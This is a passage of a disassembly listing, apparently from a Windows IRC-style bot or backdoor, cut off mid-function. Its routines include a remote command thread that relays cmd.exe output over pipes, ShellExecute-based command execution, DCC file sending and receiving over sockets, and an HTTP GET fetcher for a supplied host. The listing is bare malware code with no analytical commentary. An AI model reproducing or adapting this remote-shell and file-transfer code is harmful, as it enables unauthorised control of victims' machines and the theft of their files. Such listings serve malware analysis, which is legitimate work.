		mov	eax, [ebp+var_364]
		mov	dword_41DDF4, eax
		mov	eax, [ebp+var_36C]
		mov	dword_41DDE8, eax
		mov	eax, [ebp+var_724]
		mov	dword_41DDEC, eax
		push	[ebp+var_720]
		call	dword_4170A4	; CloseHandle
		and	[ebp+var_4], 0
		and	[ebp+var_208], 0


loc_401BAD:				; CODE XREF: sub_401981+2E9j
					; sub_401981+39Cj
		mov	eax, [ebp+var_714]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401BBE
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401BBE:				; CODE XREF: sub_401981+236j
		and	[ebp+var_208], 0
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DDF4
		call	dword_417080	; PeekNamedPipe
		test	eax, eax
		jnz	short loc_401C17
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C17:				; CODE XREF: sub_401981+27Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_401C6F
		mov	[ebp+var_730], 103h
		lea	eax, [ebp+var_730]
		push	eax
		push	dword_41DDEC
		call	dword_417084	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_401C62
		cmp	[ebp+var_730], 103h
		jz	short loc_401C62
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C62:				; CODE XREF: sub_401981+2BBj
					; sub_401981+2C7j
		push	0Ah
		call	dword_41709C	; Sleep
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401C6F:				; CODE XREF: sub_401981+29Aj
		and	[ebp+var_72C], 0
		jmp	short loc_401C85
; ---------------------------------------------------------------------------


loc_401C78:				; CODE XREF: sub_401981:loc_401CAFj
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_72C], eax


loc_401C85:				; CODE XREF: sub_401981+2F5j
		mov	eax, [ebp+var_72C]
		cmp	eax, [ebp+var_4]
		jnb	short loc_401CB1
		mov	eax, [ebp+var_72C]
		movsx	eax, [ebp+eax+var_204]
		cmp	eax, 0Ah
		jnz	short loc_401CAF
		mov	[ebp+var_208], 1
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------


loc_401CAF:				; CODE XREF: sub_401981+320j
		jmp	short loc_401C78
; ---------------------------------------------------------------------------


loc_401CB1:				; CODE XREF: sub_401981+30Dj
					; sub_401981+32Cj
		cmp	[ebp+var_208], 0
		jz	short loc_401CC6
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401981+337j
		mov	[ebp+var_4], 200h


loc_401CCD:				; CODE XREF: sub_401981+343j
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DDF4
		call	dword_417088	; ReadFile
		test	eax, eax
		jnz	short loc_401D08
		jmp	short loc_401D22
; ---------------------------------------------------------------------------


loc_401D08:				; CODE XREF: sub_401981+383j
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401D22:				; CODE XREF: sub_401981+238j
					; sub_401981+291j ...
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_401D35:				; CODE XREF: sub_401981+67j
					; sub_401981+BBj ...
		leave
		retn	4
sub_401981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D39	proc near		; CODE XREF: sub_401D6E+AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	dword_41DDF0
		call	dword_417068	; WriteFile
		test	eax, eax
		jnz	short loc_401D69
		xor	eax, eax
		jmp	short locret_401D6C
; ---------------------------------------------------------------------------


loc_401D69:				; CODE XREF: sub_401D39+2Aj
		push	1
		pop	eax

locret_401D6C:				; CODE XREF: sub_401D39+2Ej
		leave
		retn
sub_401D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6E	proc near		; CODE XREF: sub_40A9CF+14A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_401DA6
		cmp	[ebp+arg_4], 0
		jnz	short loc_401D8B
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401D8B:				; CODE XREF: sub_401D6E+16j
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401DA6:				; CODE XREF: sub_401D6E+10j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401DBC
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401DBC:				; CODE XREF: sub_401D6E+4Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_401DD9
		push	200h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_401DD9:				; CODE XREF: sub_401D6E+52j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	[ebp+var_4]
		push	offset sub_401981
		call	sub_4095A4
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_401E0B
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401E0B:				; CODE XREF: sub_401D6E+99j
		push	offset asc_418214 ; "\r\n"
		push	[ebp+arg_4]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		call	sub_401D39
		pop	ecx
		test	eax, eax
		jnz	short locret_401E36
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

locret_401E36:				; CODE XREF: sub_401D6E+18j
					; sub_401D6E+33j ...
		leave
		retn
sub_401D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E38	proc near		; DATA XREF: sub_4024F3+10Bo

var_614		= qword	ptr -614h
var_60C		= qword	ptr -60Ch
var_604		= dword	ptr -604h
var_600		= dword	ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= dword	ptr -5E8h
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5BB		= byte ptr -5BBh
var_4B7		= byte ptr -4B7h
var_3B7		= byte ptr -3B7h
var_3AD		= byte ptr -3ADh
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_5BB]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_5BB]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_5E4], eax
		cmp	[ebp+var_5E4], 0
		jnz	short loc_401EA3
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EA3:				; CODE XREF: sub_401E38+56j
		push	2710h
		push	0
		lea	eax, [ebp+var_3B7]
		push	eax
		lea	eax, [ebp+var_4B7]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_401EEE
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: sub_401E38+95j
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		mov	eax, [ebp+var_5E0]
		push	dword ptr [eax]
		push	offset dword_418280
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_5E8], eax
		and	[ebp+var_204], 0


loc_401F2A:				; CODE XREF: sub_401E38:loc_401FD8j
		push	0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_208]
		call	dword_417248	; recv
		mov	[ebp+var_5F0], eax
		cmp	[ebp+var_5F0], 0
		jz	short loc_401F5F
		cmp	[ebp+var_5F0], 200h
		jbe	short loc_401F61


loc_401F5F:				; CODE XREF: sub_401E38+119j
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401F61:				; CODE XREF: sub_401E38+125j
		mov	eax, [ebp+var_204]
		add	eax, [ebp+var_5F0]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		call	dword_41724C	; htonl
		mov	[ebp+var_5F4], eax
		push	4
		lea	eax, [ebp+var_5F4]
		push	eax
		push	[ebp+var_208]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5E4]
		push	[ebp+var_5F0]
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		cmp	[ebp+var_5F0], 200h
		jnb	short loc_401FC7
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401FC7:				; CODE XREF: sub_401E38+18Bj
		mov	eax, [ebp+var_5E0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401FD8
		jmp	loc_4020BC
; ---------------------------------------------------------------------------


loc_401FD8:				; CODE XREF: sub_401E38+199j
		jmp	loc_401F2A
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401E38:loc_401F5Fj
					; sub_401E38+18Dj
		push	[ebp+var_5E4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_5EC], eax
		call	sub_416B64	; clock
		cmp	[ebp+var_5E8], eax
		jnz	short loc_402008
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_5E8], eax


loc_402008:				; CODE XREF: sub_401E38+1C2j
		mov	eax, [ebp+var_5EC]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_5F8], eax
		fild	[ebp+var_5F8]
		fstp	[ebp+var_5FC]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_600], eax
		fild	[ebp+var_600]
		fdiv	flt_417270
		fdivr	[ebp+var_5FC]
		push	ecx
		push	ecx
		fstp	[esp+60Ch+var_60C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_604], eax
		fild	[ebp+var_604]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+614h+var_614]
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		push	offset dword_418234
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_402094:				; CODE XREF: sub_401E38:loc_4020BCj
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_208]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4020BE
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: sub_401E38+19Bj
		jmp	short loc_402094
; ---------------------------------------------------------------------------

locret_4020BE:				; CODE XREF: sub_401E38+66j
					; sub_401E38+B1j ...
		leave
		retn	4
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C2	proc near		; DATA XREF: sub_40260D+7Co

var_A2C		= qword	ptr -0A2Ch
var_A24		= qword	ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= byte ptr -0A04h
var_9FC		= dword	ptr -9FCh
var_9F8		= dword	ptr -9F8h
var_9F4		= dword	ptr -9F4h
var_9F0		= byte ptr -9F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8BF		= byte ptr -8BFh
var_8BE		= byte ptr -8BEh
var_7BB		= byte ptr -7BBh
var_618		= dword	ptr -618h
var_614		= byte ptr -614h
var_210		= byte ptr -210h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A1Ch
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8E4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_9F8], eax
		jmp	short loc_40210D
; ---------------------------------------------------------------------------


loc_402100:				; CODE XREF: sub_4020C2:loc_40215Ej
		mov	eax, [ebp+var_9F8]
		dec	eax
		mov	[ebp+var_9F8], eax


loc_40210D:				; CODE XREF: sub_4020C2+3Cj
		cmp	[ebp+var_9F8], 0
		jnz	short loc_40212D
		lea	eax, [ebp+var_8BF]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40212D:				; CODE XREF: sub_4020C2+52j
		mov	eax, [ebp+var_9F8]
		movsx	eax, [ebp+eax+var_8BF]
		cmp	eax, 5Ch
		jnz	short loc_40215E
		mov	eax, [ebp+var_9F8]
		lea	eax, [ebp+eax+var_8BE]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40215E:				; CODE XREF: sub_4020C2+7Cj
		jmp	short loc_402100
; ---------------------------------------------------------------------------


loc_402160:				; CODE XREF: sub_4020C2+69j
					; sub_4020C2+9Aj
		mov	[ebp+var_8E8], 10h
		lea	eax, [ebp+var_8E8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CF25
		push	eax
		call	dword_417240	; getsockname
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_614]
		push	eax
		push	[ebp+var_8E8]
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jz	short loc_4021BA
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_4020C2+E3j
		push	0Ah
		lea	eax, [ebp+var_A04]
		push	eax
		push	1388h
		push	400h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_A04]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_9FC], eax
		cmp	[ebp+var_9FC], 0
		jnz	short loc_40220F
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40220F:				; CODE XREF: sub_4020C2+138j
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8EC], eax
		cmp	[ebp+var_8EC], 0
		jnz	short loc_402250
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_402250:				; CODE XREF: sub_4020C2+16Dj
		push	2
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_8EC]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_A08], eax
		push	0
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D420
		add	esp, 10h
		push	[ebp+var_A08]
		lea	eax, [ebp+var_A04]
		push	eax
		lea	eax, [ebp+var_614]
		push	eax
		call	dword_417244	; inet_addr
		push	eax
		call	dword_41724C	; htonl
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_418348
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D4AB
		add	esp, 18h
		push	0EA60h
		push	[ebp+var_9FC]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jz	short loc_40230F
		cmp	[ebp+var_618], 0FFFFFFFFh
		jnz	short loc_40233A


loc_40230F:				; CODE XREF: sub_4020C2+242j
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_4020C2+24Bj
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		mov	eax, [ebp+var_8E4]
		push	dword ptr [eax]
		push	offset dword_418320
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_9F4], eax


loc_40236F:				; CODE XREF: sub_4020C2:loc_40240Dj
		push	[ebp+var_8EC]
		push	200h
		push	1
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_A0C], eax
		cmp	[ebp+var_A0C], 0
		jz	short loc_4023A6
		cmp	[ebp+var_A0C], 200h
		jbe	short loc_4023A8


loc_4023A6:				; CODE XREF: sub_4020C2+2D6j
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023A8:				; CODE XREF: sub_4020C2+2E2j
		push	[ebp+var_A0C]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_618]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4023EE
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182F4
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_4024ED
; ---------------------------------------------------------------------------


loc_4023EE:				; CODE XREF: sub_4020C2+303j
		cmp	[ebp+var_A0C], 200h
		jnb	short loc_4023FC
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023FC:				; CODE XREF: sub_4020C2+336j
		mov	eax, [ebp+var_8E4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40240D
		jmp	loc_4024EB
; ---------------------------------------------------------------------------


loc_40240D:				; CODE XREF: sub_4020C2+344j
		jmp	loc_40236F
; ---------------------------------------------------------------------------


loc_402412:				; CODE XREF: sub_4020C2:loc_4023A6j
					; sub_4020C2+338j
		call	sub_416B64	; clock
		cmp	[ebp+var_9F4], eax
		jnz	short loc_40242B
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_9F4], eax


loc_40242B:				; CODE XREF: sub_4020C2+35Bj
		mov	eax, [ebp+var_A08]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_A10], eax
		fild	[ebp+var_A10]
		fstp	[ebp+var_A14]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A18], eax
		fild	[ebp+var_A18]
		fdiv	flt_417270
		fdivr	[ebp+var_A14]
		push	ecx
		push	ecx
		fstp	[esp+0A24h+var_A24]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A1C], eax
		fild	[ebp+var_A1C]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+0A2Ch+var_A2C]
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182B0
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_4024B7:				; CODE XREF: sub_4020C2:loc_4024EBj
					; sub_4020C2:loc_4024EDj
		push	[ebp+var_618]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4024EF
; ---------------------------------------------------------------------------


loc_4024EB:				; CODE XREF: sub_4020C2+346j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------


loc_4024ED:				; CODE XREF: sub_4020C2+327j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

locret_4024EF:				; CODE XREF: sub_4020C2+F3j
					; sub_4020C2+148j ...
		leave
		retn	4
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_40D871+203p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_402511
		cmp	[ebp+arg_8], 0
		jz	short loc_402511
		cmp	[ebp+arg_C], 0
		jz	short loc_402511
		cmp	[ebp+arg_10], 0
		jnz	short loc_402516


loc_402511:				; CODE XREF: sub_4024F3+Aj
					; sub_4024F3+10j ...
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402516:				; CODE XREF: sub_4024F3+1Cj
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402531
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_402536


loc_402531:				; CODE XREF: sub_4024F3+33j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402536:				; CODE XREF: sub_4024F3+3Cj
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402551
		cmp	[ebp+var_8], 40000000h
		jbe	short loc_402556


loc_402551:				; CODE XREF: sub_4024F3+53j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: sub_4024F3+5Cj
		push	3D6h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40256F
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_40256F:				; CODE XREF: sub_4024F3+75j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	100h
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	6
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		add	eax, 229h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+22Fh], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 233h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41837C
		push	0
		push	[ebp+var_4]
		push	offset sub_401E38
		call	sub_4095A4
		add	esp, 18h

locret_40260B:				; CODE XREF: sub_4024F3:loc_402511j
					; sub_4024F3:loc_402531j ...
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260D	proc near		; CODE XREF: sub_40A9CF+98Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40261D
		cmp	[ebp+arg_8], 0
		jnz	short loc_40261F


loc_40261D:				; CODE XREF: sub_40260D+8j
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_40261F:				; CODE XREF: sub_40260D+Ej
		push	2CCh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_402635
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_402635:				; CODE XREF: sub_40260D+24j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4183A0
		push	0
		push	[ebp+var_4]
		push	offset sub_4020C2
		call	sub_4095A4
		add	esp, 18h

locret_402696:				; CODE XREF: sub_40260D:loc_40261Dj
					; sub_40260D+26j
		leave
		retn
sub_40260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402698	proc near		; CODE XREF: sub_402A32+5C9p

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	2710h
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_414], eax
		cmp	[ebp+var_414], 0
		jnz	short loc_4026CC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4026CC:				; CODE XREF: sub_402698+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402745
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_402758


loc_402745:				; CODE XREF: sub_402698+A2j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


